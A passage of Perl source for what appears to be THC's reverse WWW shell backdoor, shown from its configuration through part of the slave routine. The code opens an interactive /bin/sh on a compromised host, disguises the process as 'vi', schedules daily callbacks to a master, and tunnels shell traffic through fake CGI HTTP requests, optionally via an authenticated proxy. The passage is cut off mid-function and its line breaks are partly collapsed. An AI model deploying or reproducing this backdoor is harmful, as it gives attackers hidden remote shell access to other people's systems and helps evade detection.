for MASTER and SLAVE is this section!)#$CGI_PREFIX="/cgi-bin/order?"; # should look like cgi. "?" as last char!$MASK="vi"; # for masking the program's process name$PASSWORD="THC"; # anything, nothing you have to rememeber # (not a real "password" anyway)## MASTER CONFIG (specific for the MASTER)#$LISTEN_PORT=8080; # on which port to listen (80 [needs root] or8080)$SERVER="127.0.0.1"; # the host to run on (ip/dns) (the SLAVE needsthis!)## SLAVE CONFIG (specific for the SLAVE)#$SHELL="/bin/sh -i"; # program to execute (e.g. /bin/sh)$DELAY="3"; # time to wait for output after your command(s)#$TIME="00:01"; # time when to connect to the master (unset if now)#$DAILY="yes"; # tries to connect once daily if set with something#$PROXY="127.0.0.1"; # set this with the Proxy if you must use one#$PROXY_PORT="3128"; # set this with the Proxy Port if you must use one#$PROXY_USER="user"; # username for proxy authentication#$PROXY_PASSWORD="pass"; # password for proxy authentication#$DEBUG=""; # for debugging purpose, turn off when inproduction$BROKEN_RECV="yes"; # For AIX & OpenBSD, NOT for Linux & Solaris# END OF CONFIG # nothing for you to do after this point ################### BEGIN MAIN CODE ##################require 5.002;use Socket;$|=1; # next line changes our process nameif ($MASK) { for ($a=1;$a<80;$a++){$MASK=$MASK."\000";} $0=$MASK; }undef $DAILY if (! $TIME);if ( !($PROXY) || !($PROXY_PORT) ) { undef $PROXY; undef $PROXY_PORT;}$protocol = getprotobyname('tcp');if ($ARGV[0] ne "") { if ($ARGV[0] eq "-h") { print STDOUT "no commandline option : daemon mode\n"; print STDOUT "using \"-h\" as option : this help\n"; print STDOUT "any other option : slave mode\n"; exit(0); } else { print STDOUT "starting in slave mode\n"; $SLAVE_MODE = "yeah"; }}if (! $SLAVE_MODE) { &master;} else { &slave;}# END OF MAIN FUNCTION############### SLAVE FUNCTION ###############sub slave { $pid = 0; if ($PROXY) { # setting the real config (for Proxy Support) $REAL_SERVER = $PROXY; $REAL_PORT = $PROXY_PORT; $REAL_PREFIX = "GET http://" . $SERVER . ":" . $LISTEN_PORT . $CGI_PREFIX; $PROXY_SUFFIX = "Pragma: no-cache\n"; if ( $PROXY_USER && USER_PASSWORD ) { &base64encoding; $PROXY_SUFFIX = $PROXY_SUFFIX . $PROXY_COOKIE; } } else { $REAL_SERVER = $SERVER; $REAL_PORT = $LISTEN_PORT; $REAL_PREFIX = "GET " . $CGI_PREFIX; }AGAIN: if ($pid) { kill 9, $pid; } if ($TIME) { # wait until the specified $TIME $TIME =~ s/^0//; $TIME =~ s/:0/:/; (undef,$min,$hour,undef,undef,undef,undef,undef,undef) = localtime(time); $t=$hour . ":" . $min; while ($TIME ne $t) { sleep(28); # every 28 seconds we look at the watch (undef,$min,$hour,undef,undef,undef,undef,undef,undef) = localtime(time); $t=$hour . ":" .$min; } } print STDERR "Slave activated\n" if $DEBUG; if ($DAILY) { # if we must connect daily, we'll if (fork) { # fork the daily shell process to sleep(69); # ensure the master control process goto AGAIN; # won't get stuck by a fucking cmd } # the user executed. print STDERR "forked\n" if $DEBUG; } $address = inet_aton($REAL_SERVER) || die "can't resolve server\n"; $remote = sockaddr_in($REAL_PORT, $address); $forked = 0;GO: close(THC); socket(THC, &PF_INET, &SOCK_STREAM, $protocol) or die "can't create socket\n"; setsockopt(THC, SOL_SOCKET, SO_REUSEADDR, 1); if (! $forked) { # fork failed? fuck, let's try again pipe R_IN, W_IN; select W_IN; $|=1; pipe R_OUT, W_OUT; select W_OUT; $|=1; $pid = fork; if (! defined $pid) { close THC; close R_IN; close W_IN; close R_OUT; close W_OUT;